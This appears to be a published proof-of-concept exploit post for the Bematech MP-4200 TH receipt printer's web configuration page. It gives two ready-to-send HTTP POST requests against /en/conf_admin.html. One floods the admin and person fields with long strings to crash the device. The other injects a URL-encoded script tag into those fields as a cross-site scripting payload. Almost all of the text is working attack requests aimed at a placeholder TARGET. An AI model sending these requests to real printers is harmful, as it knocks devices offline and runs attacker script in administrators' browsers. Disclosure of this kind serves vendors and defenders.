Bematech Printer MP-4200 Cross Site Scripting / Denial Of Service

`# Exploit Title: Bematech Printer MP-4200 - Denial of Service   
# Date: 2019-11-11  
# Exploit Author: Jonatas Fil  
# Vendor Homepage: https://www.bematech.com.br/  
# Software Link: https://www.bematech.com.br/produto/mp-4200-th/  
# Version: MP-4200 TH  
# Tested on: Windows and Linux  
# CVE : N/A  
  
DoS Poc:  
--------------------------------------------------------------------------------------------------------  
POST /en/conf_admin.html HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/73.0.3683.75 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,pt;q=0.8  
Cache-Control: max-age=0  
Referer: http://TARGET/en/conf_admin.html  
Content-Length: 40  
Content-Type: application/x-www-form-urlencoded  
  
admin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&person=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&SUBMIT_ADMIN=Submit  
  
--------------------------------------------------------------------------------------------------------  
XSS Poc:  
--------------------------------------------------------------------------------------------------------  
POST /en/conf_admin.html HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/73.0.3683.75 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9,pt;q=0.8  
Cache-Control: max-age=0  
Referer: http://printer.com/en/conf_admin.html  
Content-Length: 40  
Content-Type: application/x-www-form-urlencoded  
  
admin=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&person=%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&SUBMIT_ADMIN=Submit  
`